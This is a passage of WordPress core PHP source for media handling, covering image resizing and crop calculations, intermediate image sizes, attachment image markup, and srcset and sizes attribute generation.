		if ( ! is_array( $crop ) || count( $crop ) !== 2 ) {
			$crop = array( 'center', 'center' );
		}

		list( $x, $y ) = $crop;

		if ( 'left' === $x ) {
			$s_x = 0;
		} elseif ( 'right' === $x ) {
			$s_x = $orig_w - $crop_w;
		} else {
			$s_x = floor( ( $orig_w - $crop_w ) / 2 );
		}

		if ( 'top' === $y ) {
			$s_y = 0;
		} elseif ( 'bottom' === $y ) {
			$s_y = $orig_h - $crop_h;
		} else {
			$s_y = floor( ( $orig_h - $crop_h ) / 2 );
		}
	} else {
		// Resize using $dest_w x $dest_h as a maximum bounding box.
		$crop_w = $orig_w;
		$crop_h = $orig_h;

		$s_x = 0;
		$s_y = 0;

		list( $new_w, $new_h ) = wp_constrain_dimensions( $orig_w, $orig_h, $dest_w, $dest_h );
	}

	if ( wp_fuzzy_number_match( $new_w, $orig_w ) && wp_fuzzy_number_match( $new_h, $orig_h ) ) {
		// The new size has virtually the same dimensions as the original image.

		/**
		 * Filters whether to proceed with making an image sub-size with identical dimensions
		 * with the original/source image. Differences of 1px may be due to rounding and are ignored.
		 *
		 * @since 5.3.0
		 *
		 * @param bool $proceed The filtered value.
		 * @param int  $orig_w  Original image width.
		 * @param int  $orig_h  Original image height.
		 */
		$proceed = (bool) apply_filters( 'wp_image_resize_identical_dimensions', false, $orig_w, $orig_h );

		if ( ! $proceed ) {
			return false;
		}
	}

	/*
	 * The return array matches the parameters to imagecopyresampled().
	 * int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h
	 */
	return array( 0, 0, (int) $s_x, (int) $s_y, (int) $new_w, (int) $new_h, (int) $crop_w, (int) $crop_h );
}

/**
 * Resizes an image to make a thumbnail or intermediate size.
 *
 * The returned array has the file size, the image width, and image height. The
 * {@see 'image_make_intermediate_size'} filter can be used to hook in and change the
 * values of the returned array. The only parameter is the resized file path.
 *
 * @since 2.5.0
 *
 * @param string     $file   File path.
 * @param int        $width  Image width.
 * @param int        $height Image height.
 * @param bool|array $crop   {
 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
 *     If true, image will be cropped to the specified dimensions using center positions.
 *     If an array, the image will be cropped using the array to specify the crop location:
 *
 *     @type string $0 The x crop position. Accepts 'left', 'center', or 'right'.
 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
 * }
 * @return array|false Metadata array on success. False if no image was created.
 */
function image_make_intermediate_size( $file, $width, $height, $crop = false ) {
	if ( $width || $height ) {
		$editor = wp_get_image_editor( $file );

		if ( is_wp_error( $editor ) || is_wp_error( $editor->resize( $width, $height, $crop ) ) ) {
			return false;
		}

		$resized_file = $editor->save();

		if ( ! is_wp_error( $resized_file ) && $resized_file ) {
			unset( $resized_file['path'] );
			return $resized_file;
		}
	}
	return false;
}

/**
 * Helper function to test if aspect ratios for two images match.
 *
 * @since 4.6.0
 *
 * @param int $source_width  Width of the first image in pixels.
 * @param int $source_height Height of the first image in pixels.
 * @param int $target_width  Width of the second image in pixels.
 * @param int $target_height Height of the second image in pixels.
 * @return bool True if aspect ratios match within 1px. False if not.
 */
function wp_image_matches_ratio( $source_width, $source_height, $target_width, $target_height ) {
	/*
	 * To test for varying crops, we constrain the dimensions of the larger image
	 * to the dimensions of the smaller image and see if they match.
	 */
	if ( $source_width > $target_width ) {
		$constrained_size = wp_constrain_dimensions( $source_width, $source_height, $target_width );
		$expected_size    = array( $target_width, $target_height );
	} else {
		$constrained_size = wp_constrain_dimensions( $target_width, $target_height, $source_width );
		$expected_size    = array( $source_width, $source_height );
	}

	// If the image dimensions are within 1px of the expected size, we consider it a match.
	$matched = ( wp_fuzzy_number_match( $constrained_size[0], $expected_size[0] ) && wp_fuzzy_number_match( $constrained_size[1], $expected_size[1] ) );

	return $matched;
}

/**
 * Retrieves the image's intermediate size (resized) path, width, and height.
 *
 * The $size parameter can be an array with the width and height respectively.
 * If the size matches the 'sizes' metadata array for width and height, then it
 * will be used. If there is no direct match, then the nearest image size larger
 * than the specified size will be used. If nothing is found, then the function
 * will break out and return false.
 *
 * The metadata 'sizes' is used for compatible sizes that can be used for the
 * parameter $size value.
 *
 * The url path will be given, when the $size parameter is a string.
 *
 * If you are passing an array for the $size, you should consider using
 * add_image_size() so that a cropped version is generated. It's much more
 * efficient than having to find the closest-sized image and then having the
 * browser scale down the image.
 *
 * @since 2.5.0
 *
 * @param int          $post_id Attachment ID.
 * @param string|int[] $size    Optional. Image size. Accepts any registered image size name, or an array
 *                              of width and height values in pixels (in that order). Default 'thumbnail'.
 * @return array|false {
 *     Array of file relative path, width, and height on success. Additionally includes absolute
 *     path and URL if registered size is passed to `$size` parameter. False on failure.
 *
 *     @type string $file   Filename of image.
 *     @type int    $width  Width of image in pixels.
 *     @type int    $height Height of image in pixels.
 *     @type string $path   Path of image relative to uploads directory.
 *     @type string $url    URL of image.
 * }
 */
function image_get_intermediate_size( $post_id, $size = 'thumbnail' ) {
	$imagedata = wp_get_attachment_metadata( $post_id );

	if ( ! $size || ! is_array( $imagedata ) || empty( $imagedata['sizes'] ) ) {
		return false;
	}

	$data = array();

	// Find the best match when '$size' is an array.
	if ( is_array( $size ) ) {
		$candidates = array();

		if ( ! isset( $imagedata['file'] ) && isset( $imagedata['sizes']['full'] ) ) {
			$imagedata['height'] = $imagedata['sizes']['full']['height'];
			$imagedata['width']  = $imagedata['sizes']['full']['width'];
		}

		foreach ( $imagedata['sizes'] as $_size => $data ) {
			// If there's an exact match to an existing image size, short circuit.
			if ( (int) $data['width'] === (int) $size[0] && (int) $data['height'] === (int) $size[1] ) {
				$candidates[ $data['width'] * $data['height'] ] = $data;
				break;
			}

			// If it's not an exact match, consider larger sizes with the same aspect ratio.
			if ( $data['width'] >= $size[0] && $data['height'] >= $size[1] ) {
				// If '0' is passed to either size, we test ratios against the original file.
				if ( 0 === $size[0] || 0 === $size[1] ) {
					$same_ratio = wp_image_matches_ratio( $data['width'], $data['height'], $imagedata['width'], $imagedata['height'] );
				} else {
					$same_ratio = wp_image_matches_ratio( $data['width'], $data['height'], $size[0], $size[1] );
				}

				if ( $same_ratio ) {
					$candidates[ $data['width'] * $data['height'] ] = $data;
				}
			}
		}

		if ( ! empty( $candidates ) ) {
			// Sort the array by size if we have more than one candidate.
			if ( 1 < count( $candidates ) ) {
				ksort( $candidates );
			}

			$data = array_shift( $candidates );
		} elseif ( ! empty( $imagedata['sizes']['thumbnail'] )
			&& $size[0] <= $imagedata['sizes']['thumbnail']['width']
			&& $size[1] <= $imagedata['sizes']['thumbnail']['width']
		) {
			/*
			 * When the size requested is smaller than the thumbnail dimensions, we
			 * fall back to the thumbnail size to maintain backward compatibility with
			 * pre-4.6 versions of WordPress.
			 */
			$data = $imagedata['sizes']['thumbnail'];
		} else {
			return false;
		}

		// Constrain the width and height attributes to the requested values.
		list( $data['width'], $data['height'] ) = image_constrain_size_for_editor( $data['width'], $data['height'], $size );

	} elseif ( ! empty( $imagedata['sizes'][ $size ] ) ) {
		$data = $imagedata['sizes'][ $size ];
	}

	// If we still don't have a match at this point, return false.
	if ( empty( $data ) ) {
		return false;
	}

	// Include the full filesystem path of the intermediate file.
	if ( empty( $data['path'] ) && ! empty( $data['file'] ) && ! empty( $imagedata['file'] ) ) {
		$file_url     = wp_get_attachment_url( $post_id );
		$data['path'] = path_join( dirname( $imagedata['file'] ), $data['file'] );
		$data['url']  = path_join( dirname( $file_url ), $data['file'] );
	}

	/**
	 * Filters the output of image_get_intermediate_size()
	 *
	 * @since 4.4.0
	 *
	 * @see image_get_intermediate_size()
	 *
	 * @param array        $data    Array of file relative path, width, and height on success. May also include
	 *                              file absolute path and URL.
	 * @param int          $post_id The ID of the image attachment.
	 * @param string|int[] $size    Requested image size. Can be any registered image size name, or
	 *                              an array of width and height values in pixels (in that order).
	 */
	return apply_filters( 'image_get_intermediate_size', $data, $post_id, $size );
}

/**
 * Gets the available intermediate image size names.
 *
 * @since 3.0.0
 *
 * @return string[] An array of image size names.
 */
function get_intermediate_image_sizes() {
	$default_sizes    = array( 'thumbnail', 'medium', 'medium_large', 'large' );
	$additional_sizes = wp_get_additional_image_sizes();

	if ( ! empty( $additional_sizes ) ) {
		$default_sizes = array_merge( $default_sizes, array_keys( $additional_sizes ) );
	}

	/**
	 * Filters the list of intermediate image sizes.
	 *
	 * @since 2.5.0
	 *
	 * @param string[] $default_sizes An array of intermediate image size names. Defaults
	 *                                are 'thumbnail', 'medium', 'medium_large', 'large'.
	 */
	return apply_filters( 'intermediate_image_sizes', $default_sizes );
}

/**
 * Returns a normalized list of all currently registered image sub-sizes.
 *
 * @since 5.3.0
 * @uses wp_get_additional_image_sizes()
 * @uses get_intermediate_image_sizes()
 *
 * @return array[] Associative array of arrays of image sub-size information,
 *                 keyed by image size name.
 */
function wp_get_registered_image_subsizes() {
	$additional_sizes = wp_get_additional_image_sizes();
	$all_sizes        = array();

	foreach ( get_intermediate_image_sizes() as $size_name ) {
		$size_data = array(
			'width'  => 0,
			'height' => 0,
			'crop'   => false,
		);

		if ( isset( $additional_sizes[ $size_name ]['width'] ) ) {
			// For sizes added by plugins and themes.
			$size_data['width'] = (int) $additional_sizes[ $size_name ]['width'];
		} else {
			// For default sizes set in options.
			$size_data['width'] = (int) get_option( "{$size_name}_size_w" );
		}

		if ( isset( $additional_sizes[ $size_name ]['height'] ) ) {
			$size_data['height'] = (int) $additional_sizes[ $size_name ]['height'];
		} else {
			$size_data['height'] = (int) get_option( "{$size_name}_size_h" );
		}

		if ( empty( $size_data['width'] ) && empty( $size_data['height'] ) ) {
			// This size isn't set.
			continue;
		}

		if ( isset( $additional_sizes[ $size_name ]['crop'] ) ) {
			$size_data['crop'] = $additional_sizes[ $size_name ]['crop'];
		} else {
			$size_data['crop'] = get_option( "{$size_name}_crop" );
		}

		if ( ! is_array( $size_data['crop'] ) || empty( $size_data['crop'] ) ) {
			$size_data['crop'] = (bool) $size_data['crop'];
		}

		$all_sizes[ $size_name ] = $size_data;
	}

	return $all_sizes;
}

/**
 * Retrieves an image to represent an attachment.
 *
 * @since 2.5.0
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $icon          Optional. Whether the image should fall back to a mime type icon. Default false.
 * @return array|false {
 *     Array of image data, or boolean false if no image is available.
 *
 *     @type string $0 Image source URL.
 *     @type int    $1 Image width in pixels.
 *     @type int    $2 Image height in pixels.
 *     @type bool   $3 Whether the image is a resized image.
 * }
 */
function wp_get_attachment_image_src( $attachment_id, $size = 'thumbnail', $icon = false ) {
	// Get a thumbnail or intermediate image if there is one.
	$image = image_downsize( $attachment_id, $size );
	if ( ! $image ) {
		$src = false;

		if ( $icon ) {
			$src = wp_mime_type_icon( $attachment_id, '.svg' );

			if ( $src ) {
				/** This filter is documented in wp-includes/post.php */
				$icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' );

				$src_file = $icon_dir . '/' . wp_basename( $src );

				list( $width, $height ) = wp_getimagesize( $src_file );

				$ext = strtolower( substr( $src_file, -4 ) );

				if ( '.svg' === $ext ) {
					// SVG does not have true dimensions, so this assigns width and height directly.
					$width  = 48;
					$height = 64;
				} else {
					list( $width, $height ) = wp_getimagesize( $src_file );
				}
			}
		}

		if ( $src && $width && $height ) {
			$image = array( $src, $width, $height, false );
		}
	}
	/**
	 * Filters the attachment image source result.
	 *
	 * @since 4.3.0
	 *
	 * @param array|false  $image         {
	 *     Array of image data, or boolean false if no image is available.
	 *
	 *     @type string $0 Image source URL.
	 *     @type int    $1 Image width in pixels.
	 *     @type int    $2 Image height in pixels.
	 *     @type bool   $3 Whether the image is a resized image.
	 * }
	 * @param int          $attachment_id Image attachment ID.
	 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
	 *                                    an array of width and height values in pixels (in that order).
	 * @param bool         $icon          Whether the image should be treated as an icon.
	 */
	return apply_filters( 'wp_get_attachment_image_src', $image, $attachment_id, $size, $icon );
}

/**
 * Gets an HTML img element representing an image attachment.
 *
 * While `$size` will accept an array, it is better to register a size with
 * add_image_size() so that a cropped version is generated. It's much more
 * efficient than having to find the closest-sized image and then having the
 * browser scale down the image.
 *
 * @since 2.5.0
 * @since 4.4.0 The `$srcset` and `$sizes` attributes were added.
 * @since 5.5.0 The `$loading` attribute was added.
 * @since 6.1.0 The `$decoding` attribute was added.
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array
 *                                    of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $icon          Optional. Whether the image should be treated as an icon. Default false.
 * @param string|array $attr {
 *     Optional. Attributes for the image markup.
 *
 *     @type string       $src           Image attachment URL.
 *     @type string       $class         CSS class name or space-separated list of classes.
 *                                       Default `attachment-$size_class size-$size_class`,
 *                                       where `$size_class` is the image size being requested.
 *     @type string       $alt           Image description for the alt attribute.
 *     @type string       $srcset        The 'srcset' attribute value.
 *     @type string       $sizes         The 'sizes' attribute value.
 *     @type string|false $loading       The 'loading' attribute value. Passing a value of false
 *                                       will result in the attribute being omitted for the image.
 *                                       Default determined by {@see wp_get_loading_optimization_attributes()}.
 *     @type string       $decoding      The 'decoding' attribute value. Possible values are
 *                                       'async' (default), 'sync', or 'auto'. Passing false or an empty
 *                                       string will result in the attribute being omitted.
 *     @type string       $fetchpriority The 'fetchpriority' attribute value, whether `high`, `low`, or `auto`.
 *                                       Default determined by {@see wp_get_loading_optimization_attributes()}.
 * }
 * @return string HTML img element or empty string on failure.
 */
function wp_get_attachment_image( $attachment_id, $size = 'thumbnail', $icon = false, $attr = '' ) {
	$html  = '';
	$image = wp_get_attachment_image_src( $attachment_id, $size, $icon );

	if ( $image ) {
		list( $src, $width, $height ) = $image;

		$attachment = get_post( $attachment_id );
		$size_class = $size;

		if ( is_array( $size_class ) ) {
			$size_class = implode( 'x', $size_class );
		}

		$default_attr = array(
			'src'   => $src,
			'class' => "attachment-$size_class size-$size_class",
			'alt'   => trim( strip_tags( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) ) ),
		);

		/**
		 * Filters the context in which wp_get_attachment_image() is used.
		 *
		 * @since 6.3.0
		 *
		 * @param string $context The context. Default 'wp_get_attachment_image'.
		 */
		$context = apply_filters( 'wp_get_attachment_image_context', 'wp_get_attachment_image' );

		$attr = wp_parse_args( $attr, $default_attr );

		// Ensure that the `$width` doesn't overwrite an already valid user-provided width.
		if ( ! isset( $attr['width'] ) || ! is_numeric( $attr['width'] ) ) {
			$attr['width'] = $width;
		}

		// Ensure that the `$height` doesn't overwrite an already valid user-provided height.
		if ( ! isset( $attr['height'] ) || ! is_numeric( $attr['height'] ) ) {
			$attr['height'] = $height;
		}

		$loading_optimization_attr = wp_get_loading_optimization_attributes(
			'img',
			$attr,
			$context
		);

		// Add loading optimization attributes if not available.
		$attr = array_merge( $attr, $loading_optimization_attr );

		// Omit the `decoding` attribute if the value is invalid according to the spec.
		if ( empty( $attr['decoding'] ) || ! in_array( $attr['decoding'], array( 'async', 'sync', 'auto' ), true ) ) {
			unset( $attr['decoding'] );
		}

		/*
		 * If the default value of `lazy` for the `loading` attribute is overridden
		 * to omit the attribute for this image, ensure it is not included.
		 */
		if ( isset( $attr['loading'] ) && ! $attr['loading'] ) {
			unset( $attr['loading'] );
		}

		// If the `fetchpriority` attribute is overridden and set to false or an empty string.
		if ( isset( $attr['fetchpriority'] ) && ! $attr['fetchpriority'] ) {
			unset( $attr['fetchpriority'] );
		}

		// Generate 'srcset' and 'sizes' if not already present.
		if ( empty( $attr['srcset'] ) ) {
			$image_meta = wp_get_attachment_metadata( $attachment_id );

			if ( is_array( $image_meta ) ) {
				$size_array = array( absint( $width ), absint( $height ) );
				$srcset     = wp_calculate_image_srcset( $size_array, $src, $image_meta, $attachment_id );
				$sizes      = wp_calculate_image_sizes( $size_array, $src, $image_meta, $attachment_id );

				if ( $srcset && ( $sizes || ! empty( $attr['sizes'] ) ) ) {
					$attr['srcset'] = $srcset;

					if ( empty( $attr['sizes'] ) ) {
						$attr['sizes'] = $sizes;
					}
				}
			}
		}

		/** This filter is documented in wp-includes/media.php */
		$add_auto_sizes = apply_filters( 'wp_img_tag_add_auto_sizes', true );

		// Adds 'auto' to the sizes attribute if applicable.
		if (
			$add_auto_sizes &&
			isset( $attr['loading'] ) &&
			'lazy' === $attr['loading'] &&
			isset( $attr['sizes'] ) &&
			! wp_sizes_attribute_includes_valid_auto( $attr['sizes'] )
		) {
			$attr['sizes'] = 'auto, ' . $attr['sizes'];
		}

		/**
		 * Filters the list of attachment image attributes.
		 *
		 * @since 2.8.0
		 * @since 6.8.2 The `$attr` array includes `width` and `height` attributes.
		 *
		 * @param string[]     $attr       Array of attribute values for the image markup, keyed by attribute name.
		 *                                 See wp_get_attachment_image().
		 * @param WP_Post      $attachment Image attachment post.
		 * @param string|int[] $size       Requested image size. Can be any registered image size name, or
		 *                                 an array of width and height values in pixels (in that order).
		 */
		$attr = apply_filters( 'wp_get_attachment_image_attributes', $attr, $attachment, $size );

		if ( isset( $attr['width'] ) && is_numeric( $attr['width'] ) ) {
			$width = absint( $attr['width'] );
		}
		if ( isset( $attr['height'] ) && is_numeric( $attr['height'] ) ) {
			$height = absint( $attr['height'] );
		}
		unset( $attr['width'], $attr['height'] );

		$attr     = array_map( 'esc_attr', $attr );
		$hwstring = image_hwstring( $width, $height );
		$html     = rtrim( "<img $hwstring" );

		foreach ( $attr as $name => $value ) {
			$html .= " $name=" . '"' . $value . '"';
		}

		$html .= ' />';
	}

	/**
	 * Filters the HTML img element representing an image attachment.
	 *
	 * @since 5.6.0
	 *
	 * @param string       $html          HTML img element or empty string on failure.
	 * @param int          $attachment_id Image attachment ID.
	 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
	 *                                    an array of width and height values in pixels (in that order).
	 * @param bool         $icon          Whether the image should be treated as an icon.
	 * @param string[]     $attr          Array of attribute values for the image markup, keyed by attribute name.
	 *                                    See wp_get_attachment_image().
	 */
	return apply_filters( 'wp_get_attachment_image', $html, $attachment_id, $size, $icon, $attr );
}

/**
 * Gets the URL of an image attachment.
 *
 * @since 4.4.0
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $icon          Optional. Whether the image should be treated as an icon. Default false.
 * @return string|false Attachment URL or false if no image is available. If `$size` does not match
 *                      any registered image size, the original image URL will be returned.
 */
function wp_get_attachment_image_url( $attachment_id, $size = 'thumbnail', $icon = false ) {
	$image = wp_get_attachment_image_src( $attachment_id, $size, $icon );
	return isset( $image[0] ) ? $image[0] : false;
}

/**
 * Gets the attachment path relative to the upload directory.
 *
 * @since 4.4.1
 * @access private
 *
 * @param string $file Attachment file name.
 * @return string Attachment path relative to the upload directory.
 */
function _wp_get_attachment_relative_path( $file ) {
	$dirname = dirname( $file );

	if ( '.' === $dirname ) {
		return '';
	}

	if ( str_contains( $dirname, 'wp-content/uploads' ) ) {
		// Get the directory name relative to the upload directory (back compat for pre-2.7 uploads).
		$dirname = substr( $dirname, strpos( $dirname, 'wp-content/uploads' ) + 18 );
		$dirname = ltrim( $dirname, '/' );
	}

	return $dirname;
}

/**
 * Gets the image size as array from its meta data.
 *
 * Used for responsive images.
 *
 * @since 4.4.0
 * @access private
 *
 * @param string $size_name  Image size. Accepts any registered image size name.
 * @param array  $image_meta The image meta data.
 * @return array|false {
 *     Array of width and height or false if the size isn't present in the meta data.
 *
 *     @type int $0 Image width.
 *     @type int $1 Image height.
 * }
 */
function _wp_get_image_size_from_meta( $size_name, $image_meta ) {
	if ( 'full' === $size_name ) {
		return array(
			absint( $image_meta['width'] ),
			absint( $image_meta['height'] ),
		);
	} elseif ( ! empty( $image_meta['sizes'][ $size_name ] ) ) {
		return array(
			absint( $image_meta['sizes'][ $size_name ]['width'] ),
			absint( $image_meta['sizes'][ $size_name ]['height'] ),
		);
	}

	return false;
}

/**
 * Retrieves the value for an image attachment's 'srcset' attribute.
 *
 * @since 4.4.0
 *
 * @see wp_calculate_image_srcset()
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'medium'.
 * @param array|null   $image_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
 *                                    Default null.
 * @return string|false A 'srcset' value string or false.
 */
function wp_get_attachment_image_srcset( $attachment_id, $size = 'medium', $image_meta = null ) {
	$image = wp_get_attachment_image_src( $attachment_id, $size );

	if ( ! $image ) {
		return false;
	}

	if ( ! is_array( $image_meta ) ) {
		$image_meta = wp_get_attachment_metadata( $attachment_id );
	}

	$image_src  = $image[0];
	$size_array = array(
		absint( $image[1] ),
		absint( $image[2] ),
	);

	return wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id );
}

/**
 * A helper function to calculate the image sources to include in a 'srcset' attribute.
 *
 * @since 4.4.0
 *
 * @param int[]  $size_array    {
 *     An array of width and height values.
 *
 *     @type int $0 The width in pixels.
 *     @type int $1 The height in pixels.
 * }
 * @param string $image_src     The 'src' of the image.
 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
 * @param int    $attachment_id Optional. The image attachment ID. Default 0.
 * @return string|false The 'srcset' attribute value. False on error or when only one source exists.
 */
function wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id = 0 ) {
	/**
	 * Pre-filters the image meta to be able to fix inconsistencies in the stored data.
	 *
	 * @since 4.5.0
	 *
	 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
	 * @param int[]  $size_array    {
	 *     An array of requested width and height values.
	 *
	 *     @type int $0 The width in pixels.
	 *     @type int $1 The height in pixels.
	 * }
	 * @param string $image_src     The 'src' of the image.
	 * @param int    $attachment_id The image attachment ID or 0 if not supplied.
	 */
	$image_meta = apply_filters( 'wp_calculate_image_srcset_meta', $image_meta, $size_array, $image_src, $attachment_id );

	if ( empty( $image_meta['sizes'] ) || ! isset( $image_meta['file'] ) || strlen( $image_meta['file'] ) < 4 ) {
		return false;
	}

	$image_sizes = $image_meta['sizes'];

	// Get the width and height of the image.
	$image_width  = (int) $size_array[0];
	$image_height = (int) $size_array[1];

	// Bail early if error/no width.
	if ( $image_width < 1 ) {
		return false;
	}

	$image_basename = wp_basename( $image_meta['file'] );

	/*
	 * WordPress flattens animated GIFs into one frame when generating intermediate sizes.
	 * To avoid hiding animation in user content, if src is a full size GIF, a srcset attribute is not generated.
	 * If src is an intermediate size GIF, the full size is excluded from srcset to keep a flattened GIF from becoming animated.
	 */
	if ( ! isset( $image_sizes['thumbnail']['mime-type'] ) || 'image/gif' !== $image_sizes['thumbnail']['mime-type'] ) {
		$image_sizes[] = array(
			'width'  => $image_meta['width'],
			'height' => $image_meta['height'],
			'file'   => $image_basename,
		);
	} elseif ( str_contains( $image_src, $image_meta['file'] ) ) {
		return false;
	}

	// Retrieve the uploads sub-directory from the full size image.
	$dirname = _wp_get_attachment_relative_path( $image_meta['file'] );

	if ( $dirname ) {
		$dirname = trailingslashit( $dirname );
	}

	$upload_dir    = wp_get_upload_dir();
	$image_baseurl = trailingslashit( $upload_dir['baseurl'] ) . $dirname;

	/*
	 * If currently on HTTPS, prefer HTTPS URLs when we know they're supported by the domain
	 * (which is to say, when they share the domain name of the current request).
	 */
	if ( is_ssl() && ! str_starts_with( $image_baseurl, 'https' ) ) {
		/*
		 * Since the `Host:` header might contain a port, it should
		 * be compared against the image URL using the same port.
		 */
		$parsed = parse_url( $image_baseurl );
		$domain = isset( $parsed['host'] ) ? $parsed['host'] : '';

		if ( isset( $parsed['port'] ) ) {
			$domain .= ':' . $parsed['port'];
		}

		if ( $_SERVER['HTTP_HOST'] === $domain ) {
			$image_baseurl = set_url_scheme( $image_baseurl, 'https' );
		}
	}

	/*
	 * Images that have been edited in WordPress after being uploaded will
	 * contain a unique hash. Look for that hash and use it later to filter
	 * out images that are leftovers from previous versions.
	 */
	$image_edited = preg_match( '/-e[0-9]{13}/', wp_basename( $image_src ), $image_edit_hash );

	/**
	 * Filters the maximum image width to be included in a 'srcset' attribute.
	 *
	 * @since 4.4.0
	 *
	 * @param int   $max_width  The maximum image width to be included in the 'srcset'. Default '2048'.
	 * @param int[] $size_array {
	 *     An array of requested width and height values.
	 *
	 *     @type int $0 The width in pixels.
	 *     @type int $1 The height in pixels.
	 * }
	 */
	$max_srcset_image_width = apply_filters( 'max_srcset_image_width', 2048, $size_array );

	// Array to hold URL candidates.
	$sources = array();

	/**
	 * To make sure the ID matches our image src, we will check to see if any sizes in our attachment
	 * meta match our $image_src. If no matches are found we don't return a srcset to avoid serving
	 * an incorrect image. See #35045.
	 */
	$src_matched = false;

	/*
	 * Loop through available images. Only use images that are resized
	 * versions of the same edit.
	 */
	foreach ( $image_sizes as $image ) {
		$is_src = false;

		// Check if image meta isn't corrupted.
		if ( ! is_array( $image ) ) {
			continue;
		}

		// If the file name is part of the `src`, we've confirmed a match.
		if ( ! $src_matched && str_contains( $image_src, $dirname . $image['file'] ) ) {
			$src_matched = true;
			$is_src      = true;
		}

		// Filter out images that are from previous edits.
		if ( $image_edited && ! strpos( $image['file'], $image_edit_hash[0] ) ) {
			continue;
		}

		/*
		 * Filters out images that are wider than '$max_srcset_image_width' unless
		 * that file is in the 'src' attribute.
		 */
		if ( $max_srcset_image_width && $image['width'] > $max_srcset_image_width && ! $is_src ) {
			continue;
		}

		// If the image dimensions are within 1px of the expected size, use it.
		if ( wp_image_matches_ratio( $image_width, $image_height, $image['width'], $image['height'] ) ) {
			// Add the URL, descriptor, and value to the sources array to be returned.
			$source = array(
				'url'        => $image_baseurl . $image['file'],
				'descriptor' => 'w',
				'value'      => $image['width'],
			);

			// The 'src' image has to be the first in the 'srcset', because of a bug in iOS8. See #35030.
			if ( $is_src ) {
				$sources = array( $image['width'] => $source ) + $sources;
			} else {
				$sources[ $image['width'] ] = $source;
			}
		}
	}

	/**
	 * Filters an image's 'srcset' sources.
	 *
	 * @since 4.4.0
	 *
	 * @param array  $sources {
	 *     One or more arrays of source data to include in the 'srcset'.
	 *
	 *     @type array $width {
	 *         @type string $url        The URL of an image source.
	 *         @type string $descriptor The descriptor type used in the image candidate string,
	 *                                  either 'w' or 'x'.
	 *         @type int    $value      The source width if paired with a 'w' descriptor, or a
	 *                                  pixel density value if paired with an 'x' descriptor.
	 *     }
	 * }
	 * @param array $size_array     {
	 *     An array of requested width and height values.
	 *
	 *     @type int $0 The width in pixels.
	 *     @type int $1 The height in pixels.
	 * }
	 * @param string $image_src     The 'src' of the image.
	 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
	 * @param int    $attachment_id Image attachment ID or 0.
	 */
	$sources = apply_filters( 'wp_calculate_image_srcset', $sources, $size_array, $image_src, $image_meta, $attachment_id );

	// Only return a 'srcset' value if there is more than one source.
	if ( ! $src_matched || ! is_array( $sources ) || count( $sources ) < 2 ) {
		return false;
	}

	$srcset = '';

	foreach ( $sources as $source ) {
		$srcset .= str_replace( ' ', '%20', $source['url'] ) . ' ' . $source['value'] . $source['descriptor'] . ', ';
	}

	return rtrim( $srcset, ', ' );
}

/**
 * Retrieves the value for an image attachment's 'sizes' attribute.
 *
 * @since 4.4.0
 *
 * @see wp_calculate_image_sizes()
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'medium'.
 * @param array|null   $image_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
 *                                    Default null.
 * @return string|false A valid source size value for use in a 'sizes' attribute or false.
 */
function wp_get_attachment_image_sizes( $attachment_id, $size = 'medium', $image_meta = null ) {
	$image = wp_get_attachment_image_src( $attachment_id, $size );

	if ( ! $image ) {
		return false;
	}

	if ( ! is_array( $image_meta ) ) {
		$image_meta = wp_get_attachment_metadata( $attachment_id );
	}

	$image_src  = $image[0];
	$size_array = array(
		absint( $image[1] ),
		absint( $image[2] ),
	);

	return wp_calculate_image_sizes( $size_array, $image_src, $image_meta, $attachment_id );
}

/**
 * Creates a 'sizes' attribute value for an image.
 *
 * @since 4.4.0
 *
 * @param string|int[] $size          Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order).
 * @param string|null  $image_src     Optional. The URL to the image file. Default null.
 * @param array|null   $image_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
 *                                    Default null.
 * @param int          $attachment_id Optional. Image attachment ID. Either `$image_meta` or `$attachment_id`
 *                                    is needed when using the image size name as argument for `$size`. Default 0.
 * @return string|false A valid source size value for use in a 'sizes' attribute or false.
 */
function wp_calculate_image_sizes( $size, $image_src = null, $image_meta = null, $attachment_id = 0 ) {
	$width = 0;

	if ( is_array( $size ) ) {
		$width = absint( $size[0] );
	} elseif ( is_string( $size ) ) {
		if ( ! $image_meta && $attachment_id ) {
			$image_meta = wp_get_attachment_metadata( $attachment_id );
		}

		if ( is_array( $image_meta ) ) {
			$size_array = _wp_get_image_size_from_meta( $size, $image_meta );
			if ( $size_array ) {
				$width = absint( $size_array[0] );
			}
		}
	}

	if ( ! $width ) {
		return false;
	}

	// Setup the default 'sizes' attribute.
	$sizes = sprintf( '(max-width: %1$dpx) 100vw, %1$dpx', $width );

	/**
	 * Filters the output of 'wp_calculate_image_sizes()'.
	 *
	 * @since 4.4.0
	 *
	 * @param string       $sizes         A source size value for use in a 'sizes' attribute.
	 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
	 *                                    an array of width and height values in pixels (in that order).
